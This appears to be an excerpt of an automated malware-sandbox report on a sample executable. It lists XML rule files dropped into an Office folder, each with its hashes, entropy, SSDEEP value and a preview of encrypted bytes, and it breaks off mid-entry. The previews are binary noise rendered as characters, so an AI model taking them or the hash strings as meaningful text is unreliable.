SHA-512:	BFC4E9440305A8CC05083A9171EB7BE9C1D21D5B55D3FACFCE6B55D3F50FDA90C5031132BF2C61854784E09D52EC6DA7D390D7004A5FC3B2A8C037D949E940CC
Malicious:	false
Preview:	<?xml.q.\.,/&...4v.".....\......[&.I..,o[J..)...a.........H7.E..A(........../.....Q..;..SQc.<K.]....CU9..OS..w......LA^L'hO.G.B..3D...>..,....,ZI.j.P)..q.9..7lLh..[Q..(~....1.<.<R.L...Gs.X?...T.]..-.%.y 4."..<...\|..l.&Z.\|..l...L.lS........ML,.!%\|9.{.b..x..V}<.Xw.#.....].:.F...,j.m..]..!J.Z.M....J%)PS-O.m..3<."..@#@:....;....S....6.=.<G.i...vS....c.......L.......{.[...!..........5.J......a.W...;1.l.LO...{\|.....fd."u.fE.7...f_..w.FC^&.8Cj.h..d[G.s....s....s....D............C... .........Y./.Iq.4.}..t:R..>..!.>`..R.`.%...?d.M~.......C#^Hv.tb.:.;..N.=.....IVi.Cr....2.i.1.\0.H%.Ai...Z!...M.e_.7.4n.O......(....ra. .5.............)....d0.M....g;..n....iC...E....u...R.7..;Ut..,9k...G.`=.j.z<..E.Q..(.>8V9%H...)..H6..\..%..@_.u....M7.H...c..L NG.3..1-88u>..y+..k..."(.....k6x.Lb.,._.....*.bN&.Y..h.2.K.}...F.">.C[.............pJZ.>..x.eW..,mR.z.PK.W...F%:.j.AQ...v...q.&..f.:,.-.vs&..o.....\..Q.G.k.i.+.Q../....M.5.w.1...z.2..j..Y..#..o..@..[..b.I........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.870771887848161
Encrypted:	false
SSDEEP:	48:bNxwKVl1tpjWehusah2IgA3WXiAqQmyqD:bNuKVlbEeRwvpKiA9i
MD5:	BBFD76C650DDD859C5BB2736F8ADD424
SHA1:	3366819FB6817BEDA395E6F5E0E07649881642F9
SHA-256:	DFD3676B6593EF688F5BB8DB2F1FAA7930B323653C029D1AF0778C75C04DF627
SHA-512:	6AA89A078B9259AEAA5D6495A45FEFAD480047585F26E5269245B0201477529B301F27687C2FB952A2B56D6C6A2D1C2ADD1C75E294AE5845EA28AED69A298CA9
Malicious:	false
Preview:	<?xmlY...mH.W.!,.....).....]..l........{."we.....j.B......o#....]i.7....?.~..#.o..0..gb......x....fm.\..G!.F...%.m.h.......x+M....$....vxrU....i....". .TV...0%..DQ...(...~.;..m.Jv.....M..W.C...._...P.>8..........>.......G...;&.v...u...8p...R8....h..'").k.2.Z@...r.\|.';...#..56}+.s/..%f9.mD..h.../!.......P....}.U...F.>_.....k.D(.`U0.b.hF..!1............#l........n.X.l4n2f....^......(3mgf...t.g6.Z...kd...~.:j..nL.G..m.S..+}k2....q. c......9>..Q.\|-._.7.bR$.L..>..Ox...D.R..Yd.m..RB....w.....B.....v....A....i#..suXA=..>5.M\|...O..>L.0k.......n.O._..`..........}..2kD..~.&..5n...%..H..'4..H.kX...(C...{". ....&K.W..&....U....../\|..Mf.<....h........9Z...._{...S).W...6c.DT1......O....V..qqR...P.%.j..........{f.......y.f........._B.^.w..Go}L..W.T..C^h..xW...A..di...d.....jx.i.F..J,.ec....Q.UN.g.t5..O=...[2.C.r...S82...Wc...=.s1...a.B.0...ra..,03E{..*Iab.F..G.[..> c&..Q....E.#1<<.C.....%.kV....1.\|.."YW.N.2i]Sa..i.........J....j.`..G..G.^4.[.fUu.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.877788931789517
Encrypted:	false
SSDEEP:	48:shnPLLR9C03LMO89/9Zky9SRTFlTTIi47H1EnZ+CzPD:slLl9CQLMO0ZkyYRxlnRnZr
MD5:	F289372D214827DE213CF294AC960577
SHA1:	355FD8F0E92BC1B64907B36D67302E04FFADD2E8
SHA-256:	11C8DE5FC7E6A62AD8E14FAC40143167E642C4B448D39EAE281E419374164703
SHA-512:	5B4198C8A7ACD1EAAA1FC92EDDBF75F552E87CFF1242A5EC5A4CC87DF8396E702DE5A12D02DB572EC6AD6BE0DD667E9A984A57A922D8CC994FB10AEC5AFCE06C
Malicious:	false
Preview:	<?xml.sB........hy..G;.,... ^.....<...s....r....g#../4.L.\.....j...B....U..(.q..zpq]q't.M]y.)s.&nK..f.4...5.NJ.UWRy....5.1......5sXo@;0T...d\...R1.d......z.G$NLN......T..O...S.._.../..i../.F.8..\.-.k...Q......}OE..cXoc...z.K...57.\|l.LZ...g.9.n....<.U.....P...M.4N^8`.....B....&qq.H..wW..L.gf.@.^,.....k.p=.r..$8X....4.`S...q;......I`.V....L..WN...'.?q.Rx...`.....\|/.F...2,p..zs.B+&.u9.\|..f].. .7g.7BS.\|...z.U..B>....].y....H.x.mJ.L.K.1\|..(?.u>&mZ.<.>TG..N<.....;W.C.(..{.)i4.^)[.j.9RD..rh.....:..;.........z'.%..nX...6.sg \..@...!....9sb....\.w.B}..mU...}...YDm..N.......%..!....2P...N.a.9.R.........8s.0U.Vw6r.=. <e.(...a...t#...}b.i.....h.-'...T..g.h.9t.h.\|........m.y....j.h....T.XD..F.....Z....b.B.X.D.o{=(f.......:d...d..N.oq......s.....].S......D.K(.e.A3'......(5.2zr<$...D..?.I\...........4.~..g..rs.3..\xV....T..E.$.vM....@..F%...2..bm9...7....;..o.y.......[.;..$..RI.......N.XK...../5...F..B...,..v.0.mu.k.`....a.<.3.J.....;;%....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.885250121555012
Encrypted:	false
SSDEEP:	48:SSX1JolYhqtVeCo/e/eULeh4tZNIGamgu6D:SUolYhVCo/geQHtvrBs
MD5:	C4377CCAD62A0D1AA581EFB9BC99738B
SHA1:	1634B56F438144084C50317B02F2EF77D96C7CC8
SHA-256:	92E4BAE46858972D36473CBC289A5FDCB297832D608311AE710E9E9B4557A76E
SHA-512:	43C55DACDE8E76D3D4093F9C9DB0E9AE15EC16AF708C5D18BA61525A91323B24C8FA67E857E9287DC6596E8051452B09A85362EA5D204C604682585EC0B1DE11
Malicious:	false
Preview:	<?xml..=....75...(..m.v.t^.wN....d6.2..P...c3.<tr..>G....y#....I...........F-l.M.2.%&..no..T....``..^....z~..;S.....V..%........{.....zT...s.=.......q...5l..W...;......F...L`0.5....T...g......&I.........[C.[..U... ./.C..%.K...qg........aZ..L.{.6._j....a.c....-.....de.K..,..=.m..o.C?..'2.Ma...:qR./P..+.3.u.1.P......^.@]./..(sm.(c..8.I&........W....7o..z......G......`.<h..=..$q..GG.N.l..q.TP.N]..sN=..K....#Nz..f.oi....@>&....<.pf..6.......f..(D...K.HU....xB..YWI..Z'..'J...J.7zUe[6..F..w..<...f....l..j...Z.. Q..%.[.m3.ZOS/k+....p....9.u..$.H..e;...:.0]....Xw.@i!Ay..g..c.1.@+i.HAt....D..[x?.I...VH .o..SL;..X.~.v.=.;.a.I..t.+_c._.....k..@......$z.%F.J$..9.J......d.@=....)....B3x.......9.?....\......~..J...]0.e.O{s..k.f.},..`..;.0..._.h..KX6.}...e...X.S..>s..^..j.+.'M<..X@....9.#TN........_."...K>.G....\.=.W{....rHL4}......1..p.'...:.Wj.l<S.-B.b <.M8....~.$)..O.c..i.w...VH..F.......%..f.F.l.U...u...i:F.Zn.9....`..}...q....q\L....D{.5.;...#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.906216144067786
Encrypted:	false
SSDEEP:	48:Il5FBJ1Og18ZW/CGI9BIfEcMr2HuDOUxulva1D:ITFBJYg18ZACGI9KfhMrMi1b
MD5:	4A8F32A7C527431E386975FBA711F68E
SHA1:	E8FB9F7DA17FBCB4ECB97C966353DD3E416A30F2
SHA-256:	11BD5AB88A59B005B240F90D61F5507B48DC970A92E1145FF879A755D993BB7F
SHA-512:	7F989B96AE0AD12DC93A4E916E2FD7AFFF47A0E4B59D1A77B648DDF5F3085879CA4B621FA355F3C00B9474DC605009C61B8FDC54627BAD4BF0BB9F5D5DB37490
Malicious:	false
Preview:	<?xmla.&.e..d.^.2.."..~k...6. .....@zv..>.3%wy.`;[......#.%Q....-....m..%..jF.....$Co^.w.(.W/^....WRv.....{.I.0.... ..}.n.5..L...K..FM..7...^OP\|..t...!..I.."k."..8..W.6.yG...<.._....9..{.H...PYL.$.R..r....I0.........<.r..D".....S.?..+..\|..H5.i.....=.w.+.H^..s..S...(J..N....3. -Qh....w;..}.".1....<.6O...].zd.k.....4~.....o6..._p._.B.......~..~.%[.u^+M].a..P5....PQ..+...Q........?.......7....~r6..^t..u.1......T.z..Ob~.\|.+.,.J4]o....\|.&.3._..,z..<.T9/kC...f..gO..._.....x....#..&...&:....B...l...q..d...,T....J.#.g.7a.......B\.......2..0~..]..n..D..z..q...6..<..S.OF...mq...r..Gkl.. 8,....1n.(y......)......O%.._....1.e.l.M.'.....)_..isgK.e...G.mzv.n....9....g_.'...t@"U.=8...A+..:=.......X....%..z.\)...."V:."....."......m..~N...,..vz......@*.........g..k..]...D.q4...A..~....i.]]r'...i.8.p..j.m.l....`H.........3..._....-MsM@=>@C..)..6RT....y.i.....y.6Mib..<.J.........^..].[..'.lv..)..U.8...P`.w...K.&...$./j...A.:.,.....,Suy........K.+....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.8882496032502045
Encrypted:	false
SSDEEP:	24:Lp/2fOp5h0MQjRUtNW1tUgn4Et+uZpGzB5d4vxqpLsbF+8e22El5QQz/4kMoLObD:VkOrXRDW1l7o5Gpq2bFD/HjxMogD
MD5:	256CECCCD082608A024B704975E3569B
SHA1:	28089E7E62BF287BC5D3D3901AE7110B961B489C
SHA-256:	4174144E4F2A5199E24CD3AC1813A10359E858735BAD334470604D530147139C
SHA-512:	5CC5833933EDB48DA2E1A0FA861F1DE34B32D37631F00ECDDC4079507B1E5D1E5E33ADF678411603E088FD7214A89FA1696955E4EF6DEF0CC10117BAA03EBFFB
Malicious:	false
Preview:	<?xml..Kt%.m=....C......g!...T.~.Z......6...xq.V....................(Zw....+;...hF..C\..d.l#.z2L....c.&..b....&;..D)....bP.[.......Oc(T@.wP.I....R....y.....)G.TNQ..b.....^.o..D.z.u.:..D0.VC...rK%i..........Pe.s...d_.=@>\.cQ..'..y.O2.e..g.....c@.......X...... ..X.TV?.nK....N5H..#^.X_d..:.7uZ..c.@...@.F@T..v...E$.&.+\.j.e..U....u..z...1!...5..k.w..a..>.....kJx...S ?,A.b5.......#UC.......-.4H5..%..\|N...&2.L8.?..F.$Pe?.\|Z...6.K.N .......=.s.a8.......jV.....I:..Wc.x...5..L<En... ...qA.C...........d...W$]5,Hi(...CK@q..E......e..u.....:.s...9.Q...c....A9.(....a...uS.=......;..`.JFQ.a6..........r.2~.HJ...9.<q...O..L.;Hl..y.W..~o.\|wGb.F.:..a7.K..R..p.[..E....F.@.7....-{S..6x.@R...%.sr..5A.iU\.W.....cC.'....1.-"/..J.R..(....X.#..I....5>..).....H.>.3:...<.....O..T\|n.....;.X.r.n..\|.m...A~\|.r..-L....."I#......j>...H....".....#=.55......`kk.Kx.E-iTB+L..U<..I..S..]v....<.6..d... w...._[e...'}$.[..%6x....f.......$.~......4k..n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.885772519640949
Encrypted:	false
SSDEEP:	48:tMtdl2AwoKb+7XV2xQoyKxhJA6xylQ7/90l/Mcsoak4ck5nsYD:t0D9rjKxxA+7V+HxaOk5sE
MD5:	34A78CE3A364363D18674E8E8E4D859E
SHA1:	68E15D67BF41E94F674307ADA990C389EABAA245
SHA-256:	B9674FDD5EF71A7530C5F4C85CB9DA1188733CD5575C58E3BB38DA9B2D2A2A74
SHA-512:	CF04A026670FF8AF7F14DDD8CA7E043B964A2D58EE9F0837C253D761B311E55D3A5665F23C94C26736D21ED84B57B770F358F625A9C2DD9682BA7AFA5F023989
Malicious:	false
Preview:	<?xml...Wb.sY..o.zQ......tQ.,]N..%S..%..}..p.,.Y]5....&.......H.[s..k.......[?Mf47.V.....q.....^....#...1p.....f....?.^eX.pIt?[!...U..8.....v..B.t.+.T......U.B0Q~). ...j.'..Y.....6.<..6.3j2...X...Q,rew.U$Y....2T{4.9LLo...K..Qq.^P....L...N+.........$(5.i{........a~EH...M...1I.._......L....-.9...u.....'... ......V..KW..B.0.."c......=..#C5o.]-.7.E.......=..VVF....4t......b......!!.Q.X....WK].........@.p.....B..^1....O...0..^e.,uK..-'............Z.U...z.a...i..pm.._..)....".{..&...=Y....D[./.F._......f..#N.^..D.j.7.5.;.)....W0..E.b...7...PZ.....9....&,.:i#./...'.......C~...h.hp..^Y[,.-.\~^....7...-.NU.+X.pk.\A3.7......,/L..'..'.n[$...@....&.n.>.e.W.1Ni2...M.2._...!....V.'......oUWA.g..\|&.3.uM......o.....h...*..).En@.P..-.....R..q.v...`...R.....?W..."K..j.<.{.p....5.5.A#qA.Xx..</.T6...v.8.............c.G......N....Mq...]....."$<..P.M.8....1o.dY.B.v....Fp.....&...A......;.z}.2.0..8O9........X$.......\.\|....}.#qj..M..$....lq.o?./.yC._f..Q...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.880869665705782
Encrypted:	false
SSDEEP:	48:vsq2gxipYHbhqlSJyo2BRp4PnccU8H9rKdgT2YD:EN2ipYHa9o2BH4fccUWJN2E
MD5:	F63D9348D657F479CF349C2D98DE4AD9
SHA1:	24821112E30ECD1863B22BC7E30EC1AF61A33887
SHA-256:	B17FCF1AE2E143FE50CC81562C3E2DA46AFD8A8D1E33BDF1ED3FA3FE682EA59A
SHA-512:	F70459738E8F3E5DC08E392F071213B8B441E7C942AE5230E8CF175E43DC214C904CF9832E50399019D94C5EDF0A34699629752D05DF994D98BBC11C176FD89B
Malicious:	false
Preview:	<?xml.B.3~.'.C.O....../Nk ,v.R.KxKd...q.Da..o'.:\|.....p........[..3. .m.r.>.%...wRg...(G.z>+0.(.U..L.,.....lU.z0.r8...z.I5...X.{Q..KMJ.._..z......L....^..<..>7.....+k......a.5...8.(..3D....URr....k[#...p....K...u.......n....'?...T..i.?.)3Yk....n.l.c..`f{.';Pu1..3[...j../......MZ.`.z....~...f.W.B9.4.^f9d.i...4...L..2!.n..}Ggc.g..3J..4.\|.0.]....qQ......CZ7i.....-.s(.V...fRbf.....lBj..>.i...e..G....<.m.4..[...".2...$...w'..&z..\|..B.8..+.n..t..!.Ib.P..x....J.o./...y..g.!...=9.....Vp.....&.q.]...Oc.x...Q.....O..J..s..lVM.`...P.?.<...{.nPD..'..........G?ds._.s..#.[.'..O.+.t......tE1.4.\w......../:....7...0+.b.sQ.(a.....i}...T..A&.....o...#U..l..[T...M..1C..z..."j...l....Tq.a.c%QGR....(K..hq....{.(....y..Y.\|.f.{../..AW.P..@...9..=2s.M..z.w.1.....IF.`...U.,IY?.@...{E.....j.<.........0x..i.F...S;;3H..@D6.>.XT8....N....Gzb....&I..,.^./.E.PFh8z:7....:....\..wD.X.=...X.J.......mKva4....%.?.Bh.@...H........~.......R......H.8Ej.ht..Tk....s.x..i....iG%..qeB@W.A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.8760309958268415
Encrypted:	false
SSDEEP:	48:pIt0q5XmwS3US8/rg3cefUha6UQc3jr2zmVoihD:pIK+XjS8E3Gha6ZcfMGoiJ
MD5:	9707C0B8230B69A4B28C782C0ACE6314
SHA1:	43CAA02D51CCD78251872C355EAC294F0550856A
SHA-256:	AC7F11A62C2F64094F948C36AC9DEFC4CACB7C1DD0701166DD2204C511FB07F5
SHA-512:	25032C1EC0ECAE0B4EF48C672F70971BAADB90BEF7834F31289688CA19EAC665B73F1DFCA303930F84D578DC13417458B71E472EF509E3CF2BA25900449EDDE4
Malicious:	false
Preview:	<?xml...""^Xl.z....'...Hz.K).#.H.J..ij,..q.?o..MD>.dM!.,c....3....G..c.%..8..=c...U.f..m.B.y...2..:..)~?l.Np..V...."[....ic.&._.@...2.NYT..}6.Z?3..."........_...g....6...&...2W.+..jZ...&.W.b5J..2..q.Bp.`.q...A...X..5.....t...H....@V&.....w..#.k....O..n.........P......0b..Z...+...C.u.......{.N.M.%....r.K.+E.1.. ......m9..>.....v...E>....D...{....M......i...VKP.&K4......V.$..Y..a.......`.!.V}WP....b=..uQ...%..^..8.+8.......%.y^.p..:\ .D(...........k.Oy.....~.z...N.[..XI!.:R....s0i.\}CHM...jR...DFB..J....X.$y...j.=...#.y............g.0U.5.&V)..Ev>=.....s.T&.{g.+......&y....J...S.u.....'G...~2..:.X...d1[...S..W..ep.....h..J.1.<..F....\|.<.....,...c...........E..`.Sh.....v\..x.O.\|G)...NC.Q'....r...J....(.t{....~...G....rx(6.5..%.aN..'.....(.LP...D...S....@..uh........O#..q.6Q.aa...i.M3k....c... .YJ..u>.l.j.`..j.j.D)..\|..].D&V.+.%..T..nz.......lVA"...&_..60..Xq[.A....j.y.O...c.eEP-..\|kE..%..?.8...N+.;.L..].L..&o....x.q.u^.q...t._.5..G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.882756451009877
Encrypted:	false
SSDEEP:	24:AkXqBUs375Mq75Uxi4Fp7Pkpdxz+FC9nlcMVblKd3nA1t6rctYVAY/1EHndTHSqK:AuA1v5kqZ+F8cU03nAL6rcSWrHndZCD
MD5:	177CA5F5E79B78EF24AEACC3CE33F3E8
SHA1:	C876B2A8A9CDD24C7F1E9EBF7A84A8035F379B09
SHA-256:	6D5A2734ED9CF6E62390A6C4425844683EDD3D900FEF98C9B4D4EB797C5944BA
SHA-512:	BD71A650626815E48F1E875F72E673B40E7408298750192F461DA82E27AEC8866EEBE83905A34CB19560108B267C17EFBC890B53406FD153C48328FB69199BD7
Malicious:	false
Preview:	<?xml.w....s=VH.Y...v.-wq..}~.........hq9\..i.oP..xb.$...e..j2$v....y.\|...g.0q....Y..D....S.\|N...E34.sqx..$h..v..L....4.nu...N....j2..6..v......=.....w...~`)!....p...M......u.8I.uK$.V%.......s.Va.....k...{.Uk.........a!<.v..8/.5HRJt.0...e.....&...U..?..s80o..7.....".r.a`...j..m.51.J@...T..i...g..t_.... .vM..7l..f..^_...2.},.RF.=.F).=-.8".I..B....$...h.#.s..n....o2...flt5+0..6\|....e.`.L.....e.-.r..bi.2..4a....&.........'c\'z].&...)......~.2...a\...l7\|.....7[...3n......z.,Q.H.:.........b..W.....e.1..g..._._..vj.k..baw..Z.e#i...U...\.F...f_..+H..`...,f..O.......c......sS.hUi$k<s&g'.n.h5r....}..&....a....ETE.}/+.V-....G.ype...-...}..?.T.....]....S..g[m..k..\....C..v.a..C..kt.j.......u.......~.>....z.{.$....[.?U$.\R.z.^8.&..;2..!?{...I.P#z.FLexdK'6l...4U.!.8)KU.H.{.'.._..A..o+......r.i.."....]H.6.}....B.ma..n.F.<M...f...#..d<4.1<I.bg.4....2.YJ....B]~7.U.TO.._y..;.2.^...P...-.]...B..J.J...F..<.....v.W...8J.tH.J.y@Tx@...r.(.......n2....Y2...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.888700670123867
Encrypted:	false
SSDEEP:	48:Kabtkz4xItIx/tCW3Fq66RWV5ntCsFDo1q4chcD:KabtknIPCiFqKVjCy54cS
MD5:	A70C8F8F86AF2482026C2F7FA1E847B6
SHA1:	D47F9AEE740C60F9987BB9682FBF4EB7F69A66A7
SHA-256:	4C13CC602115CC4741CC964364B072B0E65119D190D7C9575EB4F8222FBD3CB6
SHA-512:	F0B7D58D01828259074F5CEBD027E5D06C8564CF3A265B4F0FF403116A111137609E4AE447A93916D22DEE5AD33A4D768F75524F93FB1BBBC6FDF26DDB61ED11
Malicious:	false
Preview:	<?xmlQOr......WHH..9..RR..<..m...'#.(....S...~.....d..H.[..v3..h..H.k....?K.7..5LJ........@...'....Z.Fp....xg.x6Y.wU.t...P=...(..K...4)z.?.D..[..1..s..._..}..[.b.^.V..'.....{$s...\.x...d.g.d+....Gw........F..0.0.j....C9.~..7..W.wq..)w:.5V..`...).E....@(.L...KnO..@.._......^.0.\|.l...\|..).%.<..SD`....-J>....g...y...~.S.(....m.M}.l$S..GGW.LZI.HX.U.....{...{7..pml....v?q..b.U.....JCe.....g..9.[.....$x..2...D.8d..txyZ...&.I.V.....9....h..-..Pa.6.=.2>..'l......=.i..q...w.6.;.. \(....P..~OU...BPx..\|.n<x.,..bA.......~.;..oW.J.I....>j^.>.7z....L.......j.-...x....5v..[.My..z.......A.....Z...9..".#N....0;.......... D..9....Qm{.m&......"-].Z..Z^..VxO..@...#....._..s[.&..X....N'....I.M.r.X..%.Y....U/1....t..0...ZH.F.v....4..[..+D..TO...~?U..F.Q...l..a/.V..P_...2...5#.x`.]...R;.5l...g.#..M..x~}0..]....&q.:K[.H..o..y.".~:?.!F.j........0.6...:W.Q..... .M..>D.t.{hfV..G...u...^.V./[.^.).t[...g!.r3...$3.f......m;.'".3Ad.K..Oy\|.e.D...A3....T.K....(..o.l?I.n.!..3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.893097403932111
Encrypted:	false
SSDEEP:	24:JdhVA37h1GtxRKVl0zX7M/AlT/+XoS075LLtREPEZq5ZKlBCymif6mJQfgw4sObD:JJY0zXY/+TGXoddLtyPEUrpI6W7w0D
MD5:	1CD3ED8D0F083A72F3565687325A6638
SHA1:	D4150F1C961BCB5C09D9AB44E99E26FEE99E2AD8
SHA-256:	1A9C5D38B7B98FB93524E2AF66071536A299B88A73AB99566DCD61A411C8C760
SHA-512:	B69FDD22830181619D6F405569BCB45A2D903AFDD689F8FCDA27CD7BE20707F6F06D693BA49D5B6FE77335DF12F3EFFEFBBB902C38A5B4E5C268B9AC03FC5FFF
Malicious:	false
Preview:	<?xml.[F...F.s..e.}."......m.f..A.4.+.............?...d...b..[...e..0....7..@.Z.&......D...'....6.\#2.y.<.+...I..f!.!....T... \zah.6...R...K.p.;......`.w.......BNX.q>.3.."....3A..Q.$cCn........E..c:...;J.oz..b' ...B..3xc.......bBl...).........8...........~............2W..W%w.....%InH.o.RXu.......V..`...S^..=.Ql\WzA.....N...TM......(....(....-[.5...U/......_..0$.+.H.&.....-..e..Al.A..U.K.6..k.Q>..2.{8."...>....U.....Ya.n..x.N...'.....8G...1.8$..saB3.-....h.{m....D.....wp..O......a.WuNb.<.@.i}.L.].=Ww.$/K.y....8..L......!..<o..=".iz.V306#....`.h.7$.C....(J..$.(<U...o.'.)...8h.!.S...._AU.......a..q..D).-.........%=......b.T.%...\[ow..'...w..<z$.-.H.xe0.Q.t.e.k.. .'V#].W.6....i..m..g)...dU;eU9..ld.=.!.....v.".-...2b.....$.9xSn..m...\|V"...F._.rL.J.....N.N..W.^.oc St.m.[....b..:...6.M...N-.5.W....g..F..2........S..,PzR,.r......(-.....}(.P.\|.\X...HP/..j`Q.!_V...r.G..a......E...kL..X...~lG..{.m.-W.7.{t....Tb.u...$.z.....1}.r9..~...Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.902159279004415
Encrypted:	false
SSDEEP:	48:WjUXnzDH7cyOx6Lw27W3R68wTQwTUtOKXe0rcD:+sJLn6R9A2prY
MD5:	6AF47824EBCD455276F0C6E846FAB4AC
SHA1:	6A032A44FC601C3684AE2F2B194CBF1A96F46D96
SHA-256:	7461CED24EC20C7ED6C7F22FB07272C94162FDC947B629F2C5ADF6592F1ACDF5
SHA-512:	09D18CB37550A72157A837231A9DB7A3E79FE5340BF4326A6141D8F4D1E6B483AE243945784516367E686969EBC6E8496CBE7B75D5BE258329423B378899F7A0
Malicious:	false
Preview:	<?xmlV..Q..~.k..8z.V .....tI...C..#...F...G...tH.........p...{A..5..&..M..~.......a..>.$..l......x..3.Pb&H....oT.z.)m4......&....U......6.c..u..&o......1.-O.... .b.mi...M......^\| ..d.....@.w..e.+u7..u......M8..M..^z....[$..6G.=...{n.q...\.....p.!!..i.r>?.&.#....a..4Q >.6..i'7......Q.f.\|...SL."....8...H=$.. /..\.d.....Nb+..T....61.P....._.!E.\3......<..B...J'&.....!.....\..>..p0@......h.ah...<.....b.0....dVu....ZV9c..&.:..x..4.......$....j......#_...&....i......S.....e..g.b...e<l..8...LjB.m.`z...VP..}..7.S&..........#..I...k7.u...3N[.xY.T.g..$V.m^.....<.....<<.._"3.X.i....O..3....`.6....sY5...U..A....k...h...)h..#IU'L'..^9.P.!..F.[...#.U~.t2..~.Fd5~....N.O..k.P.4.....G.L.K+5.....lb.n.......+....F...#.N.....}.Px.EIg".U_.&.B...E^.p.b....`&...gU.V.?.Z.,.L...<.$.....`.[...).g.0fp`!......M.......?B.x...+VQ=.0..,.oq9...2.^z.....(.t._..1k....A....{........A...1......H.pi9.:....Ug.......;.RY.$.Kx..%Me...'.....{...&.....@..j.'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.866359995409354
Encrypted:	false
SSDEEP:	24:LuKCV8SWlfnhCrhSbua9g5tIx4bjDlSOIZx4Ocmp4rrvWM2jjx5KW1vKbObD:LuKC5Wl/nuCg5tI2D1IZimpkvN2PxBpD
MD5:	D1998F660DC0E2BA08781BE09D06404D
SHA1:	BE234EA2EFC5BC4C9C132E7582878E674C586489
SHA-256:	AE7471CF3DC7AED5D37738DC23BBEDC8C0579CB6C33EF62B474F267C197739DF
SHA-512:	D5DE7F3AA6657643CBEAD2AC28C1BBFEFAA6FA764E4596D6254D57ACDBC4579EE1147D886A906C6F3AF7615CB8EEC9AB92D08DB33405D926DB362A9292DD74E7
Malicious:	false
Preview:	<?xmlX..'.......Sxc.-..{...p....n'...j5..i..L.4M.. 1..#..e...G!.l.9.b...m.......pj..A...9.....=b...]..6...)...k..5.I.&....../...k+.."...).D.n..8....y>...c.h.Lb[..@.YQ...yU.g4..p_..bjR.h...\h..t.[.F.3.C.i,........kz..KBA.F.&9_G......=tM..w7..c.....U.'$.'[.c..`..-q"6i..........9.$.?...b.'.?..Fa..-..L..aq~.i'D..2:.9F&...u..{..(........#h.{.....ZX.\H.8MTO@.J5%...'..6PP..,r.T...YU...#....M.j...'...m7L..-..@v<.....R..-...^..;..[.!...vj#.X..?....R.k.s..#.-...I.....1D%F.U...p..`..i..$.`M......]../...+dL..........W...s..^2.4.>..<xA..q....?....~Nu.hP.ha..4...ERn,......Yt'e..+.....P.P8..Sn.bJ..m.w.0.7s.e(.+.!]o.C.Pw.}.!7u.v...7.D!..s..t..\.5+....U..Tbw].3....v.X....F.'.O....&..y...[y...6v5J....BK../]T.....3b..u_..&p.......[P..n5X3...]..#.%.0...`..`...X..=D.4...T.....j..2l.qy..Ip.p..MF..B&..X....cA..P(Z...\|/sC.M..K..;.h.....^.....e+.....y.z7-.'..........e... A.e..j}.n7.. ."..%u75C4U.D......5bhJ."..2....X.7.h...P .qGW....x0..J;w!.e..C.<..n...[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.88838936034771
Encrypted:	false
SSDEEP:	48:aenZv7/HaqibOSiHWuLgLe3Emqx+3s8FH22yMTD:aeZiiWuLgLe3TTFH2Hy
MD5:	01553445151D9D04E002F8E1D4BB1052
SHA1:	476AF4E36E3452167B14526C1FEB66020D6FCC80
SHA-256:	5326C52FF5752D3FC0424818115BE2170F018F8E839931DB6114CDEFEAC6645A
